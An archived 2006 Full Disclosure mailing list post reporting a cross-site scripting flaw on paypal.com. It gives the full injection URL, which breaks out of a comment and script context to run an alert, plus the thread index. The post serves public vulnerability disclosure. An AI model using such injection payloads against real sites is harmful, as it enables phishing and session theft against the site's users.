Full Disclosure mailing list archives

news XSS on paypal.com

From: "Pigrelax" <Pigrelax () yandex ru>
Date: Sun, 23 Jul 2006 15:08:09 +0400 (MSD)

Hi!

From Russia Security Site:

http://www.securitylab.ru/news/270837.php

New worked XSS on paypal.com:
www.paypal.com/cgi-bin/webscr?cmd=p/gen/--></script><script>alert('www.securitylab.ru')</script>

really work :)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

news XSS on paypal.com Pigrelax (Jul 23)
- Re: news XSS on paypal.com ad () heapoverflow com (Jul 23)
  - RE: news XSS on paypal.com php0t (Jul 23)
    - Re: news XSS on paypal.com ad () heapoverflow com (Jul 23)
    - Re: news XSS on paypal.com Javor Ninov (Jul 24)